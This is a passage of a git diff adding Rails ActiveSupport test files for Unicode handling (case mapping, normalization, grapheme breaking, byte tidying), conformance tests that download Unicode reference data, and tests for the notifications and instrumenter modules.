+    assert_equal "こにちわ", chars("こにちわ").downcase
+  end
+
+  def test_swapcase_should_be_unicode_aware
+    assert_equal "аaéÜ\0f", chars("АAÉü\0F").swapcase
+    assert_equal "こにちわ", chars("こにちわ").swapcase
+  end
+
+  def test_capitalize_should_be_unicode_aware
+    { "аБвг аБвг" => "Абвг абвг",
+      "аБвг АБВГ" => "Абвг абвг",
+      "АБВГ АБВГ" => "Абвг абвг",
+      "" => "" }.each do |f, t|
+      assert_equal t, chars(f).capitalize
+    end
+  end
+
+  def test_titleize_should_be_unicode_aware
+    assert_equal "Él Que Se Enteró", chars("ÉL QUE SE ENTERÓ").titleize
+    assert_equal "Абвг Абвг", chars("аБвг аБвг").titleize
+  end
+
+  def test_titleize_should_not_affect_characters_that_do_not_case_fold
+    assert_equal "日本語", chars("日本語").titleize
+  end
+
+  def test_limit_should_not_break_on_blank_strings
+    example = chars("")
+    assert_equal example, example.limit(0)
+    assert_equal example, example.limit(1)
+  end
+
+  def test_limit_should_work_on_a_multibyte_string
+    example = chars(UNICODE_STRING)
+    bytesize = UNICODE_STRING.bytesize
+
+    assert_equal UNICODE_STRING, example.limit(bytesize)
+    assert_equal "", example.limit(0)
+    assert_equal "", example.limit(1)
+    assert_equal "こ", example.limit(3)
+    assert_equal "こに", example.limit(6)
+    assert_equal "こに", example.limit(8)
+    assert_equal "こにち", example.limit(9)
+    assert_equal "こにちわ", example.limit(50)
+  end
+
+  def test_limit_should_work_on_an_ascii_string
+    ascii = chars(ASCII_STRING)
+    assert_equal ASCII_STRING, ascii.limit(ASCII_STRING.length)
+    assert_equal "", ascii.limit(0)
+    assert_equal "o", ascii.limit(1)
+    assert_equal "oh", ascii.limit(2)
+    assert_equal "ohay", ascii.limit(4)
+    assert_equal "ohayo", ascii.limit(50)
+  end
+
+  def test_limit_should_keep_under_the_specified_byte_limit
+    example = chars(UNICODE_STRING)
+    (1..UNICODE_STRING.length).each do |limit|
+      assert example.limit(limit).to_s.length <= limit
+    end
+  end
+
+  def test_composition_exclusion_is_set_up_properly
+    # Normalization of DEVANAGARI LETTER QA breaks when composition exclusion isn't used correctly
+    qa = [0x915, 0x93c].pack("U*")
+    assert_equal qa, chars(qa).normalize(:c)
+  end
+
+  # Test for the Public Review Issue #29, bad explanation of composition might lead to a
+  # bad implementation: http://www.unicode.org/review/pr-29.html
+  def test_normalization_C_pri_29
+    [
+      [0x0B47, 0x0300, 0x0B3E],
+      [0x1100, 0x0300, 0x1161]
+    ].map { |c| c.pack("U*") }.each do |c|
+      assert_equal_codepoints c, chars(c).normalize(:c)
+    end
+  end
+
+  def test_normalization_shouldnt_strip_null_bytes
+    null_byte_str = "Test\0test"
+
+    assert_equal null_byte_str, chars(null_byte_str).normalize(:kc)
+    assert_equal null_byte_str, chars(null_byte_str).normalize(:c)
+    assert_equal null_byte_str, chars(null_byte_str).normalize(:d)
+    assert_equal null_byte_str, chars(null_byte_str).normalize(:kd)
+    assert_equal null_byte_str, chars(null_byte_str).decompose
+    assert_equal null_byte_str, chars(null_byte_str).compose
+  end
+
+  def test_simple_normalization
+    comp_str = [
+      44,  # LATIN CAPITAL LETTER D
+      307, # COMBINING DOT ABOVE
+      328, # COMBINING OGONEK
+      323 # COMBINING DOT BELOW
+    ].pack("U*")
+
+    assert_equal_codepoints "", chars("").normalize
+    assert_equal_codepoints [44, 105, 106, 328, 323].pack("U*"), chars(comp_str).normalize(:kc).to_s
+    assert_equal_codepoints [44, 307, 328, 323].pack("U*"), chars(comp_str).normalize(:c).to_s
+    assert_equal_codepoints [44, 307, 110, 780, 78, 769].pack("U*"), chars(comp_str).normalize(:d).to_s
+    assert_equal_codepoints [44, 105, 106, 110, 780, 78, 769].pack("U*"), chars(comp_str).normalize(:kd).to_s
+  end
+
+  def test_should_compute_grapheme_length
+    [
+      ["", 0],
+      ["abc", 3],
+      ["こにちわ", 4],
+      [[0x0924, 0x094D, 0x0930].pack("U*"), 2],
+      # GB3
+      [%w(cr lf), 1],
+      # GB4
+      [%w(cr n), 2],
+      [%w(lf n), 2],
+      [%w(control n), 2],
+      [%w(cr extend), 2],
+      [%w(lf extend), 2],
+      [%w(control extend), 2],
+      # GB 5
+      [%w(n cr), 2],
+      [%w(n lf), 2],
+      [%w(n control), 2],
+      [%w(extend cr), 2],
+      [%w(extend lf), 2],
+      [%w(extend control), 2],
+      # GB 6
+      [%w(l l), 1],
+      [%w(l v), 1],
+      [%w(l lv), 1],
+      [%w(l lvt), 1],
+      # GB7
+      [%w(lv v), 1],
+      [%w(lv t), 1],
+      [%w(v v), 1],
+      [%w(v t), 1],
+      # GB8
+      [%w(lvt t), 1],
+      [%w(t t), 1],
+      # GB8a
+      [%w(r r), 1],
+      # GB9
+      [%w(n extend), 1],
+      # GB9a
+      [%w(n spacingmark), 1],
+      # GB10
+      [%w(n n), 2],
+      # Other
+      [%w(n cr lf n), 3],
+      [%w(n l v t), 2],
+      [%w(cr extend n), 3],
+    ].each do |input, expected_length|
+      if input.kind_of?(Array)
+        str = string_from_classes(input)
+      else
+        str = input
+      end
+      assert_equal expected_length, chars(str).grapheme_length, input.inspect
+    end
+  end
+
+  def test_tidy_bytes_should_tidy_bytes
+    single_byte_cases = {
+      "\x21" => "!",   # Valid ASCII byte, low
+      "\x41" => "A",   # Valid ASCII byte, mid
+      "\x7E" => "~",   # Valid ASCII byte, high
+      "\x80" => "€",   # Continuation byte, low (cp125)
+      "\x94" => "”",   # Continuation byte, mid (cp125)
+      "\x9F" => "Ÿ",   # Continuation byte, high (cp125)
+      "\xC0" => "À",   # Overlong encoding, start of 2-byte sequence, but codepoint < 128
+      "\xC1" => "Á",   # Overlong encoding, start of 2-byte sequence, but codepoint < 128
+      "\xC2" => "Â",   # Start of 2-byte sequence, low
+      "\xC8" => "È",   # Start of 2-byte sequence, mid
+      "\xDF" => "ß",   # Start of 2-byte sequence, high
+      "\xE0" => "à",   # Start of 3-byte sequence, low
+      "\xE8" => "è",   # Start of 3-byte sequence, mid
+      "\xEF" => "ï",   # Start of 3-byte sequence, high
+      "\xF0" => "ð",   # Start of 4-byte sequence
+      "\xF1" => "ñ",   # Unused byte
+      "\xFF" => "ÿ",   # Restricted byte
+      "\x00" => "\x00" # null char
+    }
+
+    single_byte_cases.each do |bad, good|
+      assert_equal good, chars(bad).tidy_bytes.to_s
+      assert_equal "#{good}#{good}", chars("#{bad}#{bad}").tidy_bytes
+      assert_equal "#{good}#{good}#{good}", chars("#{bad}#{bad}#{bad}").tidy_bytes
+      assert_equal "#{good}a", chars("#{bad}a").tidy_bytes
+      assert_equal "#{good}á", chars("#{bad}á").tidy_bytes
+      assert_equal "a#{good}a", chars("a#{bad}a").tidy_bytes
+      assert_equal "á#{good}á", chars("á#{bad}á").tidy_bytes
+      assert_equal "a#{good}", chars("a#{bad}").tidy_bytes
+      assert_equal "á#{good}", chars("á#{bad}").tidy_bytes
+    end
+
+    byte_string = "\270\236\010\210\245"
+    tidy_string = [0xb8, 0x17e, 0x8, 0x2c6, 0xa5].pack("U*")
+    assert_equal_codepoints tidy_string, chars(byte_string).tidy_bytes
+    assert_nothing_raised { chars(byte_string).tidy_bytes.to_s.unpack("U*") }
+
+    # UTF-8 leading byte followed by too few continuation bytes
+    assert_equal_codepoints "\xc3\xb0\xc2\xa5\xc2\xa4\x21", chars("\xf0\xa5\xa4\x21").tidy_bytes
+  end
+
+  def test_tidy_bytes_should_forcibly_tidy_bytes_if_specified
+    byte_string = "\xF0\xA5\xA4\xA4" # valid as both CP-1252 and UTF-8, but with different interpretations.
+    assert_not_equal "𥤤", chars(byte_string).tidy_bytes
+    # Forcible conversion to UTF-8
+    assert_equal "𥤤", chars(byte_string).tidy_bytes(true)
+  end
+
+  def test_class_is_not_forwarded
+    assert_equal BYTE_STRING.dup.mb_chars.class, ActiveSupport::Multibyte::Chars
+  end
+
+  private
+
+    def string_from_classes(classes)
+      # Characters from the character classes as described in UAX #29
+      character_from_class = {
+        l: 0x1100, v: 0x1160, t: 0x11A8, lv: 0xAC00, lvt: 0xAC01, cr: 0x000D, lf: 0x000A,
+        extend: 0x094D, n: 0x64, spacingmark: 0x0903, r: 0x1F1E6, control: 0x0001
+      }
+      classes.collect do |k|
+        character_from_class[k.intern]
+      end.pack("U*")
+    end
+end
+
+class MultibyteInternalsTest < ActiveSupport::TestCase
+  include MultibyteTestHelpers
+
+  test "Chars translates a character offset to a byte offset" do
+    example = chars("Puisque c'était son erreur, il m'a aidé")
+    [
+      [0, 0],
+      [3, 3],
+      [12, 11],
+      [14, 13],
+      [41, 39]
+    ].each do |byte_offset, character_offset|
+      assert_equal character_offset, example.send(:translate_offset, byte_offset),
+        "Expected byte offset #{byte_offset} to translate to #{character_offset}"
+    end
+  end
+end
diff --git a/activesupport/test/multibyte_conformance_test.rb b/activesupport/test/multibyte_conformance_test.rb
new file mode 100644
index 0000000000..748e8d16e1
--- /dev/null
+++ b/activesupport/test/multibyte_conformance_test.rb
@@ -0,0 +1,110 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "multibyte_test_helpers"
+
+require "fileutils"
+require "open-uri"
+require "tmpdir"
+
+class MultibyteConformanceTest < ActiveSupport::TestCase
+  include MultibyteTestHelpers
+
+  UNIDATA_FILE = "/NormalizationTest.txt"
+  FileUtils.mkdir_p(CACHE_DIR)
+  RUN_P = begin
+            Downloader.download(UNIDATA_URL + UNIDATA_FILE, CACHE_DIR + UNIDATA_FILE)
+          rescue
+          end
+
+  def setup
+    @proxy = ActiveSupport::Multibyte::Chars
+    skip "Unable to download test data" unless RUN_P
+  end
+
+  def test_normalizations_C
+    each_line_of_norm_tests do |*cols|
+      col1, col2, col3, col4, col5, comment = *cols
+
+      # CONFORMANCE:
+      # 1. The following invariants must be true for all conformant implementations
+      #
+      #    NFC
+      #      c2 ==  NFC(c1) ==  NFC(c2) ==  NFC(c3)
+      assert_equal_codepoints col2, @proxy.new(col1).normalize(:c), "Form C - Col 2 has to be NFC(1) - #{comment}"
+      assert_equal_codepoints col2, @proxy.new(col2).normalize(:c), "Form C - Col 2 has to be NFC(2) - #{comment}"
+      assert_equal_codepoints col2, @proxy.new(col3).normalize(:c), "Form C - Col 2 has to be NFC(3) - #{comment}"
+      #
+      #      c4 ==  NFC(c4) ==  NFC(c5)
+      assert_equal_codepoints col4, @proxy.new(col4).normalize(:c), "Form C - Col 4 has to be C(4) - #{comment}"
+      assert_equal_codepoints col4, @proxy.new(col5).normalize(:c), "Form C - Col 4 has to be C(5) - #{comment}"
+    end
+  end
+
+  def test_normalizations_D
+    each_line_of_norm_tests do |*cols|
+      col1, col2, col3, col4, col5, comment = *cols
+      #
+      #    NFD
+      #      c3 ==  NFD(c1) ==  NFD(c2) ==  NFD(c3)
+      assert_equal_codepoints col3, @proxy.new(col1).normalize(:d), "Form D - Col 3 has to be NFD(1) - #{comment}"
+      assert_equal_codepoints col3, @proxy.new(col2).normalize(:d), "Form D - Col 3 has to be NFD(2) - #{comment}"
+      assert_equal_codepoints col3, @proxy.new(col3).normalize(:d), "Form D - Col 3 has to be NFD(3) - #{comment}"
+      #      c5 ==  NFD(c4) ==  NFD(c5)
+      assert_equal_codepoints col5, @proxy.new(col4).normalize(:d), "Form D - Col 5 has to be NFD(4) - #{comment}"
+      assert_equal_codepoints col5, @proxy.new(col5).normalize(:d), "Form D - Col 5 has to be NFD(5) - #{comment}"
+    end
+  end
+
+  def test_normalizations_KC
+    each_line_of_norm_tests do | *cols |
+      col1, col2, col3, col4, col5, comment = *cols
+      #
+      #    NFKC
+      #      c4 == NFKC(c1) == NFKC(c2) == NFKC(c3) == NFKC(c4) == NFKC(c5)
+      assert_equal_codepoints col4, @proxy.new(col1).normalize(:kc), "Form D - Col 4 has to be NFKC(1) - #{comment}"
+      assert_equal_codepoints col4, @proxy.new(col2).normalize(:kc), "Form D - Col 4 has to be NFKC(2) - #{comment}"
+      assert_equal_codepoints col4, @proxy.new(col3).normalize(:kc), "Form D - Col 4 has to be NFKC(3) - #{comment}"
+      assert_equal_codepoints col4, @proxy.new(col4).normalize(:kc), "Form D - Col 4 has to be NFKC(4) - #{comment}"
+      assert_equal_codepoints col4, @proxy.new(col5).normalize(:kc), "Form D - Col 4 has to be NFKC(5) - #{comment}"
+    end
+  end
+
+  def test_normalizations_KD
+    each_line_of_norm_tests do | *cols |
+      col1, col2, col3, col4, col5, comment = *cols
+      #
+      #    NFKD
+      #      c5 == NFKD(c1) == NFKD(c2) == NFKD(c3) == NFKD(c4) == NFKD(c5)
+      assert_equal_codepoints col5, @proxy.new(col1).normalize(:kd), "Form KD - Col 5 has to be NFKD(1) - #{comment}"
+      assert_equal_codepoints col5, @proxy.new(col2).normalize(:kd), "Form KD - Col 5 has to be NFKD(2) - #{comment}"
+      assert_equal_codepoints col5, @proxy.new(col3).normalize(:kd), "Form KD - Col 5 has to be NFKD(3) - #{comment}"
+      assert_equal_codepoints col5, @proxy.new(col4).normalize(:kd), "Form KD - Col 5 has to be NFKD(4) - #{comment}"
+      assert_equal_codepoints col5, @proxy.new(col5).normalize(:kd), "Form KD - Col 5 has to be NFKD(5) - #{comment}"
+    end
+  end
+
+  private
+    def each_line_of_norm_tests(&block)
+      File.open(File.join(CACHE_DIR, UNIDATA_FILE), "r") do | f |
+        until f.eof?
+          line = f.gets.chomp!
+          next if line.empty? || line.start_with?("#")
+
+          cols, comment = line.split("#")
+          cols = cols.split(";").map(&:strip).reject(&:empty?)
+          next unless cols.length == 5
+
+          # codepoints are in hex in the test suite, pack wants them as integers
+          cols.map! { |c| c.split.map { |codepoint| codepoint.to_i(16) }.pack("U*") }
+          cols << comment
+
+          yield(*cols)
+        end
+      end
+    end
+
+    def inspect_codepoints(str)
+      str.to_s.unpack("U*").map { |cp| cp.to_s(16) }.join(" ")
+    end
+end
diff --git a/activesupport/test/multibyte_grapheme_break_conformance_test.rb b/activesupport/test/multibyte_grapheme_break_conformance_test.rb
new file mode 100644
index 0000000000..fac74cd80f
--- /dev/null
+++ b/activesupport/test/multibyte_grapheme_break_conformance_test.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "multibyte_test_helpers"
+
+require "fileutils"
+require "open-uri"
+require "tmpdir"
+
+class MultibyteGraphemeBreakConformanceTest < ActiveSupport::TestCase
+  include MultibyteTestHelpers
+
+  UNIDATA_FILE = "/auxiliary/GraphemeBreakTest.txt"
+  RUN_P = begin
+            Downloader.download(UNIDATA_URL + UNIDATA_FILE, CACHE_DIR + UNIDATA_FILE)
+          rescue
+          end
+
+  def setup
+    skip "Unable to download test data" unless RUN_P
+  end
+
+  def test_breaks
+    each_line_of_break_tests do |*cols|
+      *clusters, comment = *cols
+      packed = ActiveSupport::Multibyte::Unicode.pack_graphemes(clusters)
+      assert_equal clusters, ActiveSupport::Multibyte::Unicode.unpack_graphemes(packed), comment
+    end
+  end
+
+  private
+    def each_line_of_break_tests(&block)
+      lines = 0
+      max_test_lines = 0 # Don't limit below 21, because that's the header of the testfile
+      File.open(File.join(CACHE_DIR, UNIDATA_FILE), "r") do | f |
+        until f.eof? || (max_test_lines > 21 && lines > max_test_lines)
+          lines += 1
+          line = f.gets.chomp!
+          next if line.empty? || line.start_with?("#")
+
+          cols, comment = line.split("#")
+          # Cluster breaks are represented by ÷
+          clusters = cols.split("÷").map { |e| e.strip }.reject { |e| e.empty? }
+          clusters = clusters.map do |cluster|
+            # Codepoints within each cluster are separated by ×
+            codepoints = cluster.split("×").map { |e| e.strip }.reject { |e| e.empty? }
+            # codepoints are in hex in the test suite, pack wants them as integers
+            codepoints.map { |codepoint| codepoint.to_i(16) }
+          end
+
+          # The tests contain a solitary U+D800 <Non Private Use High
+          # Surrogate, First> character, which Ruby does not allow to stand
+          # alone in a UTF-8 string. So we'll just skip it.
+          next if clusters.flatten.include?(0xd800)
+
+          clusters << comment.strip
+
+          yield(*clusters)
+        end
+      end
+    end
+end
diff --git a/activesupport/test/multibyte_normalization_conformance_test.rb b/activesupport/test/multibyte_normalization_conformance_test.rb
new file mode 100644
index 0000000000..1173a94e81
--- /dev/null
+++ b/activesupport/test/multibyte_normalization_conformance_test.rb
@@ -0,0 +1,112 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "multibyte_test_helpers"
+
+require "fileutils"
+require "open-uri"
+require "tmpdir"
+
+class MultibyteNormalizationConformanceTest < ActiveSupport::TestCase
+  include MultibyteTestHelpers
+
+  UNIDATA_FILE = "/NormalizationTest.txt"
+  RUN_P = begin
+            Downloader.download(UNIDATA_URL + UNIDATA_FILE, CACHE_DIR + UNIDATA_FILE)
+          rescue
+          end
+
+  def setup
+    @proxy = ActiveSupport::Multibyte::Chars
+    skip "Unable to download test data" unless RUN_P
+  end
+
+  def test_normalizations_C
+    each_line_of_norm_tests do |*cols|
+      col1, col2, col3, col4, col5, comment = *cols
+
+      # CONFORMANCE:
+      # 1. The following invariants must be true for all conformant implementations
+      #
+      #    NFC
+      #      c2 ==  NFC(c1) ==  NFC(c2) ==  NFC(c3)
+      assert_equal_codepoints col2, @proxy.new(col1).normalize(:c), "Form C - Col 2 has to be NFC(1) - #{comment}"
+      assert_equal_codepoints col2, @proxy.new(col2).normalize(:c), "Form C - Col 2 has to be NFC(2) - #{comment}"
+      assert_equal_codepoints col2, @proxy.new(col3).normalize(:c), "Form C - Col 2 has to be NFC(3) - #{comment}"
+      #
+      #      c4 ==  NFC(c4) ==  NFC(c5)
+      assert_equal_codepoints col4, @proxy.new(col4).normalize(:c), "Form C - Col 4 has to be C(4) - #{comment}"
+      assert_equal_codepoints col4, @proxy.new(col5).normalize(:c), "Form C - Col 4 has to be C(5) - #{comment}"
+    end
+  end
+
+  def test_normalizations_D
+    each_line_of_norm_tests do |*cols|
+      col1, col2, col3, col4, col5, comment = *cols
+      #
+      #    NFD
+      #      c3 ==  NFD(c1) ==  NFD(c2) ==  NFD(c3)
+      assert_equal_codepoints col3, @proxy.new(col1).normalize(:d), "Form D - Col 3 has to be NFD(1) - #{comment}"
+      assert_equal_codepoints col3, @proxy.new(col2).normalize(:d), "Form D - Col 3 has to be NFD(2) - #{comment}"
+      assert_equal_codepoints col3, @proxy.new(col3).normalize(:d), "Form D - Col 3 has to be NFD(3) - #{comment}"
+      #      c5 ==  NFD(c4) ==  NFD(c5)
+      assert_equal_codepoints col5, @proxy.new(col4).normalize(:d), "Form D - Col 5 has to be NFD(4) - #{comment}"
+      assert_equal_codepoints col5, @proxy.new(col5).normalize(:d), "Form D - Col 5 has to be NFD(5) - #{comment}"
+    end
+  end
+
+  def test_normalizations_KC
+    each_line_of_norm_tests do | *cols |
+      col1, col2, col3, col4, col5, comment = *cols
+      #
+      #    NFKC
+      #      c4 == NFKC(c1) == NFKC(c2) == NFKC(c3) == NFKC(c4) == NFKC(c5)
+      assert_equal_codepoints col4, @proxy.new(col1).normalize(:kc), "Form D - Col 4 has to be NFKC(1) - #{comment}"
+      assert_equal_codepoints col4, @proxy.new(col2).normalize(:kc), "Form D - Col 4 has to be NFKC(2) - #{comment}"
+      assert_equal_codepoints col4, @proxy.new(col3).normalize(:kc), "Form D - Col 4 has to be NFKC(3) - #{comment}"
+      assert_equal_codepoints col4, @proxy.new(col4).normalize(:kc), "Form D - Col 4 has to be NFKC(4) - #{comment}"
+      assert_equal_codepoints col4, @proxy.new(col5).normalize(:kc), "Form D - Col 4 has to be NFKC(5) - #{comment}"
+    end
+  end
+
+  def test_normalizations_KD
+    each_line_of_norm_tests do | *cols |
+      col1, col2, col3, col4, col5, comment = *cols
+      #
+      #    NFKD
+      #      c5 == NFKD(c1) == NFKD(c2) == NFKD(c3) == NFKD(c4) == NFKD(c5)
+      assert_equal_codepoints col5, @proxy.new(col1).normalize(:kd), "Form KD - Col 5 has to be NFKD(1) - #{comment}"
+      assert_equal_codepoints col5, @proxy.new(col2).normalize(:kd), "Form KD - Col 5 has to be NFKD(2) - #{comment}"
+      assert_equal_codepoints col5, @proxy.new(col3).normalize(:kd), "Form KD - Col 5 has to be NFKD(3) - #{comment}"
+      assert_equal_codepoints col5, @proxy.new(col4).normalize(:kd), "Form KD - Col 5 has to be NFKD(4) - #{comment}"
+      assert_equal_codepoints col5, @proxy.new(col5).normalize(:kd), "Form KD - Col 5 has to be NFKD(5) - #{comment}"
+    end
+  end
+
+  private
+    def each_line_of_norm_tests(&block)
+      lines = 0
+      max_test_lines = 0 # Don't limit below 38, because that's the header of the testfile
+      File.open(File.join(CACHE_DIR, UNIDATA_FILE), "r") do | f |
+        until f.eof? || (max_test_lines > 38 && lines > max_test_lines)
+          lines += 1
+          line = f.gets.chomp!
+          next if line.empty? || line.start_with?("#")
+
+          cols, comment = line.split("#")
+          cols = cols.split(";").map { |e| e.strip }.reject { |e| e.empty? }
+          next unless cols.length == 5
+
+          # codepoints are in hex in the test suite, pack wants them as integers
+          cols.map! { |c| c.split.map { |codepoint| codepoint.to_i(16) }.pack("U*") }
+          cols << comment
+
+          yield(*cols)
+        end
+      end
+    end
+
+    def inspect_codepoints(str)
+      str.to_s.unpack("U*").map { |cp| cp.to_s(16) }.join(" ")
+    end
+end
diff --git a/activesupport/test/multibyte_proxy_test.rb b/activesupport/test/multibyte_proxy_test.rb
new file mode 100644
index 0000000000..ecedab2569
--- /dev/null
+++ b/activesupport/test/multibyte_proxy_test.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class MultibyteProxyText < ActiveSupport::TestCase
+  class AsciiOnlyEncoder
+    attr_reader :wrapped_string
+    alias to_s wrapped_string
+
+    def initialize(string)
+      @wrapped_string = string.gsub(/[^\u0000-\u007F]/, "?")
+    end
+  end
+
+  def with_custom_encoder(encoder)
+    original_proxy_class = ActiveSupport::Multibyte.proxy_class
+
+    begin
+      ActiveSupport::Multibyte.proxy_class = encoder
+
+      yield
+    ensure
+      ActiveSupport::Multibyte.proxy_class = original_proxy_class
+    end
+  end
+
+  test "custom multibyte encoder" do
+    with_custom_encoder(AsciiOnlyEncoder) do
+      assert_equal "s?me string 123", "søme string 123".mb_chars.to_s
+    end
+
+    assert_equal "søme string 123", "søme string 123".mb_chars.to_s
+  end
+end
diff --git a/activesupport/test/multibyte_test_helpers.rb b/activesupport/test/multibyte_test_helpers.rb
new file mode 100644
index 0000000000..f7cf993100
--- /dev/null
+++ b/activesupport/test/multibyte_test_helpers.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module MultibyteTestHelpers
+  class Downloader
+    def self.download(from, to)
+      unless File.exist?(to)
+        unless File.exist?(File.dirname(to))
+          system "mkdir -p #{File.dirname(to)}"
+        end
+        open(from) do |source|
+          File.open(to, "w") do |target|
+            source.each_line do |l|
+              target.write l
+            end
+          end
+        end
+      end
+      true
+    end
+  end
+
+  UNIDATA_URL = "http://www.unicode.org/Public/#{ActiveSupport::Multibyte::Unicode::UNICODE_VERSION}/ucd"
+  CACHE_DIR = "#{Dir.tmpdir}/cache/unicode_conformance/#{ActiveSupport::Multibyte::Unicode::UNICODE_VERSION}"
+  FileUtils.mkdir_p(CACHE_DIR)
+
+  UNICODE_STRING = "こにちわ".freeze
+  ASCII_STRING = "ohayo".freeze
+  BYTE_STRING = "\270\236\010\210\245".dup.force_encoding("ASCII-8BIT").freeze
+
+  def chars(str)
+    ActiveSupport::Multibyte::Chars.new(str)
+  end
+
+  def inspect_codepoints(str)
+    str.to_s.unpack("U*").map { |cp| cp.to_s(16) }.join(" ")
+  end
+
+  def assert_equal_codepoints(expected, actual, message = nil)
+    assert_equal(inspect_codepoints(expected), inspect_codepoints(actual), message)
+  end
+end
diff --git a/activesupport/test/multibyte_unicode_database_test.rb b/activesupport/test/multibyte_unicode_database_test.rb
new file mode 100644
index 0000000000..540a34493d
--- /dev/null
+++ b/activesupport/test/multibyte_unicode_database_test.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class MultibyteUnicodeDatabaseTest < ActiveSupport::TestCase
+  include ActiveSupport::Multibyte::Unicode
+
+  def setup
+    @ucd = UnicodeDatabase.new
+  end
+
+  UnicodeDatabase::ATTRIBUTES.each do |attribute|
+    define_method "test_lazy_loading_on_attribute_access_of_#{attribute}" do
+      assert_called(@ucd, :load) do
+        @ucd.send(attribute)
+      end
+    end
+  end
+
+  def test_load
+    @ucd.load
+    UnicodeDatabase::ATTRIBUTES.each do |attribute|
+      assert @ucd.send(attribute).length > 1
+    end
+  end
+end
diff --git a/activesupport/test/notifications/evented_notification_test.rb b/activesupport/test/notifications/evented_notification_test.rb
new file mode 100644
index 0000000000..4beb8194b9
--- /dev/null
+++ b/activesupport/test/notifications/evented_notification_test.rb
@@ -0,0 +1,89 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActiveSupport
+  module Notifications
+    class EventedTest < ActiveSupport::TestCase
+      class Listener
+        attr_reader :events
+
+        def initialize
+          @events = []
+        end
+
+        def start(name, id, payload)
+          @events << [:start, name, id, payload]
+        end
+
+        def finish(name, id, payload)
+          @events << [:finish, name, id, payload]
+        end
+      end
+
+      class ListenerWithTimedSupport < Listener
+        def call(name, start, finish, id, payload)
+          @events << [:call, name, start, finish, id, payload]
+        end
+      end
+
+      def test_evented_listener
+        notifier = Fanout.new
+        listener = Listener.new
+        notifier.subscribe "hi", listener
+        notifier.start  "hi", 1, {}
+        notifier.start  "hi", 2, {}
+        notifier.finish "hi", 2, {}
+        notifier.finish "hi", 1, {}
+
+        assert_equal 4, listener.events.length
+        assert_equal [
+          [:start, "hi", 1, {}],
+          [:start, "hi", 2, {}],
+          [:finish, "hi", 2, {}],
+          [:finish, "hi", 1, {}],
+        ], listener.events
+      end
+
+      def test_evented_listener_no_events
+        notifier = Fanout.new
+        listener = Listener.new
+        notifier.subscribe "hi", listener
+        notifier.start  "world", 1, {}
+        assert_equal 0, listener.events.length
+      end
+
+      def test_listen_to_everything
+        notifier = Fanout.new
+        listener = Listener.new
+        notifier.subscribe nil, listener
+        notifier.start  "hello", 1, {}
+        notifier.start  "world", 1, {}
+        notifier.finish  "world", 1, {}
+        notifier.finish  "hello", 1, {}
+
+        assert_equal 4, listener.events.length
+        assert_equal [
+          [:start,  "hello", 1, {}],
+          [:start,  "world", 1, {}],
+          [:finish,  "world", 1, {}],
+          [:finish,  "hello", 1, {}],
+        ], listener.events
+      end
+
+      def test_evented_listener_priority
+        notifier = Fanout.new
+        listener = ListenerWithTimedSupport.new
+        notifier.subscribe "hi", listener
+
+        notifier.start "hi", 1, {}
+        notifier.finish "hi", 1, {}
+
+        assert_equal [
+          [:start, "hi", 1, {}],
+          [:finish, "hi", 1, {}]
+        ], listener.events
+      end
+    end
+  end
+end
diff --git a/activesupport/test/notifications/instrumenter_test.rb b/activesupport/test/notifications/instrumenter_test.rb
new file mode 100644
index 0000000000..1d76c91d30
--- /dev/null
+++ b/activesupport/test/notifications/instrumenter_test.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/notifications/instrumenter"
+
+module ActiveSupport
+  module Notifications
+    class InstrumenterTest < ActiveSupport::TestCase
+      class TestNotifier
+        attr_reader :starts, :finishes
+
+        def initialize
+          @starts   = []
+          @finishes = []
+        end
+
+        def start(*args);  @starts << args; end
+        def finish(*args); @finishes << args; end
+      end
+
+      attr_reader :instrumenter, :notifier, :payload
+
+      def setup
+        super
+        @notifier     = TestNotifier.new
+        @instrumenter = Instrumenter.new @notifier
+        @payload = { foo: Object.new }
+      end
+
+      def test_instrument
+        called = false
+        instrumenter.instrument("foo", payload) {
+          called = true
+        }
+
+        assert called
+      end
+
+      def test_instrument_yields_the_payload_for_further_modification
+        assert_equal 2, instrumenter.instrument("awesome") { |p| p[:result] = 1 + 1 }
+        assert_equal 1, notifier.finishes.size
+        name, _, payload = notifier.finishes.first
+        assert_equal "awesome", name
+        assert_equal Hash[result: 2], payload
+      end
+
+      def test_start
+        instrumenter.start("foo", payload)
+        assert_equal [["foo", instrumenter.id, payload]], notifier.starts
+        assert_predicate notifier.finishes, :empty?
+      end
+
+      def test_finish
+        instrumenter.finish("foo", payload)
+        assert_equal [["foo", instrumenter.id, payload]], notifier.finishes
+        assert_predicate notifier.starts, :empty?
+      end
+    end
+  end
+end
diff --git a/activesupport/test/notifications_test.rb b/activesupport/test/notifications_test.rb
new file mode 100644
index 0000000000..5cfbd60131
--- /dev/null
+++ b/activesupport/test/notifications_test.rb
@@ -0,0 +1,283 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/module/delegation"
+
+module Notifications
+  class TestCase < ActiveSupport::TestCase
+    def setup
+      @old_notifier = ActiveSupport::Notifications.notifier
+      @notifier = ActiveSupport::Notifications::Fanout.new
+      ActiveSupport::Notifications.notifier = @notifier
+      @events = []
+      @named_events = []
+      @subscription = @notifier.subscribe { |*args| @events << event(*args) }
+      @named_subscription = @notifier.subscribe("named.subscription") { |*args| @named_events << event(*args) }
+    end
+
+    def teardown
+      ActiveSupport::Notifications.notifier = @old_notifier
+    end
+
+  private
+
+    def event(*args)
+      ActiveSupport::Notifications::Event.new(*args)
+    end
+  end
+
+  class SubscribedTest < TestCase
+    def test_subscribed
+      name     = "foo"
+      name2    = name * 2
+      expected = [name, name]
+
+      events   = []
+      callback = lambda { |*_| events << _.first }
+      ActiveSupport::Notifications.subscribed(callback, name) do
+        ActiveSupport::Notifications.instrument(name)
+        ActiveSupport::Notifications.instrument(name2)
+        ActiveSupport::Notifications.instrument(name)
+      end
+      assert_equal expected, events
+
+      ActiveSupport::Notifications.instrument(name)
+      assert_equal expected, events
+    end
+
+    def test_subsribing_to_instrumentation_while_inside_it
+      # the repro requires that there are no evented subscribers for the "foo" event,
